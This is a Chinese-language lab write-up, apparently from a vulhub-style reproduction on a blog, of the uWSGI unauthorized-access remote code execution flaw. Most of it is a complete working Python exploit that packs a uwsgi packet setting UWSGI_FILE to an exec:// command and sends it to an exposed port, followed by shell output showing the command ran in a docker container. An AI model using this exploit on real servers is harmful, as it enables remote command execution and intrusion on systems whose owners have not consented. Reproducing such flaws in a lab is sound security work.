uWSGI 未授权访问漏洞

简介: uWSGI 未授权访问漏洞

漏洞简介

uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言,通常被用于运行Python WEB应用。uwsgi除了是应用容器的名称之外,它和Fastcgi之类的一样,也是前端server与后端应用容器之间的一个交流标准。目前nginx,apache也支持uwsgi协议进行代理转发请求。

uWSGI支持通过魔术变量(Magic Variables)的方式动态配置后端Web应用。如果其端口暴露在外,攻击者可以构造uwsgi数据包,并指定魔术变量UWSGI_FILE,运用exec://协议执行任意命令。

影响版本:uWSGI 1.9及以上

漏洞环境

执行如下命令启动nginx+uwsgi环境:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可查看一个Web应用,其uwsgi暴露在8000端口。

http://127.0.0.1:8080/

漏洞复现

python3 poc.py -u 127.0.0.1:8000 -c "touch /tmp/success"

#!/usr/bin/python
# coding: utf-8
# Uwsgi RCE Exploit
# Note: Just for research purpose
import sys
import socket
import argparse
import requests
def sz(x):
    s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
    s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
    return s[::-1]
def pack_uwsgi_vars(var):
    pk = b''
    for k, v in var.items() if hasattr(var, 'items') else var:
        pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
    result = b'\x00' + sz(pk) + b'\x00' + pk
    return result
def parse_addr(addr, default_port=None):
    port = default_port
    if isinstance(addr, str):
        if addr.isdigit():
            addr, port = '', addr
        elif ':' in addr:
            addr, _, port = addr.partition(':')
    elif isinstance(addr, (list, tuple, set)):
        addr, port = addr
    port = int(port) if port else port
    return (addr or '127.0.0.1', port)
def get_host_from_url(url):
    if '//' in url:
        url = url.split('//', 1)[1]
    host, _, url = url.partition('/')
    return (host, '/' + url)
def fetch_data(uri, payload=None, body=None):
    if 'http' not in uri:
        uri = 'http://' + uri
    s = requests.Session()
    # s.headers['UWSGI_FILE'] = payload
    if body:
        import urlparse
        body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
        d = s.post(uri, data=body_d)
    else:
        d = s.get(uri)
    return {
        'code': d.status_code,
        'text': d.text,
        'header': d.headers
    }
def ask_uwsgi(addr_and_port, mode, var, body=''):
    if mode == 'tcp':
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(parse_addr(addr_and_port))
    elif mode == 'unix':
        s = socket.socket(socket.AF_UNIX)
        s.connect(addr_and_port)
    s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
    response = []
    # Actually we dont need the response, it will block if we run any commands.
    # So I comment all the receiving stuff. 
    # while 1:
    #     data = s.recv(4096)
    #     if not data:
    #         break
    #     response.append(data)
    s.close()
    return b''.join(response).decode('utf8')
def curl(mode, addr_and_port, payload, target_url):
    host, uri = get_host_from_url(target_url)
    path, _, qs = uri.partition('?')
    if mode == 'http':
        return fetch_data(addr_and_port+uri, payload)
    elif mode == 'tcp':
        host = host or parse_addr(addr_and_port)[0]
    else:
        host = addr_and_port
    var = {
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'REQUEST_METHOD': 'GET',
        'PATH_INFO': path,
        'REQUEST_URI': uri,
        'QUERY_STRING': qs,
        'SERVER_NAME': host,
        'HTTP_HOST': host,
        'UWSGI_FILE': payload,
        'SCRIPT_NAME': target_url
    }
    return ask_uwsgi(addr_and_port, mode, var)
def main(*args):
    desc = """
    This is a uwsgi client & RCE exploit.
    Last modifid at 2018-01-30 by wofeiwo@80sec.com
    """
    elog = "Example:uwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\""
    parser = argparse.ArgumentParser(description=desc, epilog=elog)
    parser.add_argument('-m', '--mode', nargs='?', default='tcp',
                        help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
                        dest='mode', choices=['http', 'tcp', 'unix'])
    parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
                        help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',
                        dest='uwsgi_addr')
    parser.add_argument('-c', '--command', nargs='?', required=True,
                        help='Command: The exploit command you want to execute, must have this.',
                        dest='command')
    if len(sys.argv) < 2:
        parser.print_help()
        return
    args = parser.parse_args()
    if args.mode.lower() == "http":
        print("[-]Currently only tcp/unix method is supported in RCE exploit.")
        return
    payload = 'exec://' + args.command + "; echo test" # must have someting in output or the uWSGI crashs.
    print("[*]Sending payload.")
    print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))
if __name__ == '__main__':
    main()

执行docker-compose exec web bash进入容器,可见/tmp/success已经成功执行:

─(root💀kali)-[/home/guiltyfet/vulhub/uwsgi/unacc]
└─# docker-compose exec web bash
root@8b0de57b9b82:/usr/src# ls
server.py
root@8b0de57b9b82:/usr/src# cd ../
root@8b0de57b9b82:/usr# ls
bin  games  include  lib  local  sbin  share  src
root@8b0de57b9b82:/usr# cd ../
root@8b0de57b9b82:/# ls
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
root@8b0de57b9b82:/# cd tmp/success
bash: cd: tmp/success: Not a directory
root@8b0de57b9b82:/# cd /tmp/success
bash: cd: /tmp/success: Not a directory
root@8b0de57b9b82:/# cd /tmp/       
root@8b0de57b9b82:/tmp# ls
success
root@8b0de57b9b82:/tmp#

相关文章
|
4天前
|
负载均衡 Ubuntu 应用服务中间件
如何在Nginx上阻止特定IP地址的访问,以增强服务器的安全性
如何在Nginx上阻止特定IP地址的访问,以增强服务器的安全性
115 0
如何在Nginx上阻止特定IP地址的访问,以增强服务器的安全性
|
8月前
|
SQL 缓存 安全
Memcached 未授权漏洞利用
Memcached 未授权漏洞利用
474 0
|
负载均衡 安全 前端开发
apisix未授权访问(CVE-2021-45232)
apisix未授权访问(CVE-2021-45232)
159 0
|
安全 PHP
CVE-2018-7490 uWSGI PHP目录穿越漏洞
CVE-2018-7490 uWSGI PHP目录穿越漏洞
436 0
CVE-2018-7490 uWSGI PHP目录穿越漏洞
|
存储 监控 安全
zabbix最新漏洞,可绕过认证登陆!
Zabbix对客户端提交的`Cookie`会话存在不安全的存储方式,导致在启动`SAML SSO`认证模式的前提下,恶意用户可通过构造特殊请求绕过认证,获取管理员权限,进而可实现`RCE`。
603 0
zabbix最新漏洞,可绕过认证登陆!
|
网络协议 Unix 应用服务中间件
Nginx请求限制和访问控制
一、Nginx的请求限制 1. HTTP协议的连接与请求 HTTP协议版本与连接关系
 Nginx请求限制和访问控制
|
安全
iis的https站点提示(您的连接存在安全隐患)解决办法
iis的https站点提示(您的连接存在安全隐患)解决办法
1245 0
|
安全 应用服务中间件 Apache
网站漏洞检测 apache nginx解析绕过上传漏洞
在日常对客户网站进行渗透测试服务的时候,我们SINE安全经常遇到客户网站,app存在文件上传功能,程序员在设计开发代码的过程中都会对上传的文件类型,格式,后缀名做安全效验与过滤判断,SINE安全工程师在对文件上传漏洞进行测试的时候,往往发现的网站漏洞都是由于服务器的环境漏洞导致的,像IIS,apache,nginx环境,都存在着可以导致任意文件上传的漏洞。
6137 0
|
应用服务中间件 nginx
NGINX如何配置对网站某个目录允许几个IP访问并拒绝其他所有人。
公司某个WEB项目的后台管理系统就在项目下,通过www.网站域名.com/houtai 来访问。要求是整个网站项目必须让所有人可以访问,但后台系统只能让某些IP可以访问,并拒绝其他所有人的访问。直接上nginx 配置文件代码:location ~ .
|
应用服务中间件 nginx 索引
Nginx之10灵犀一指 - (访问认证)
Nginx从入门到深入之用户认证
1383 0